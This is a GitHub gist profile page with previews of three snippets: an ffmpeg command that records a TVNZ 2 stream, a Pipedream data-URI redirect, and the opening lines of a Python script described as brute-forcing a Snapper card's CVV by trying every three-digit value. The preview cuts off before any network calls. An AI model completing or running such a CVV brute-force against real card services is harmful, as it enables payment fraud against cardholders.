Skip to content

Instantly share code, notes, and snippets.

View finngreig's full-sized avatar

Finn Greig finngreig

View GitHub Profile
@finngreig
finngreig / tvnz2_example.sh
Created September 13, 2021 13:43
Example: saving TVNZ 2 HLS stream to MP4 using ffmpeg
ffmpeg -i "https://i.mjh.nz/nz/tv.10.m3u8" -bsf:a aac_adtstoasc -vcodec copy -c copy -crf 50 file.mp4
@finngreig
finngreig / snapper_cvv_brute_force.py
Created May 18, 2022 15:47
Python script that finds the CVV of a Snapper card
import random
import time
import requests
# may not work for native cards
def brute_force_cvv(card_number):
for i in range(0, 1000):
num = str(i).zfill(3)
@finngreig
finngreig / redirect.js
Created May 20, 2022 12:37
Code for Pipedream Notion data URI redirect
import validDataUrl from "valid-data-url"
export default defineComponent({
async run({ steps, $ }) {
const b64Uri = steps.trigger.event.query.uri;
if (validDataUrl(b64Uri)) {
await $.respond({
status: 302,
headers: {
"Location": b64Uri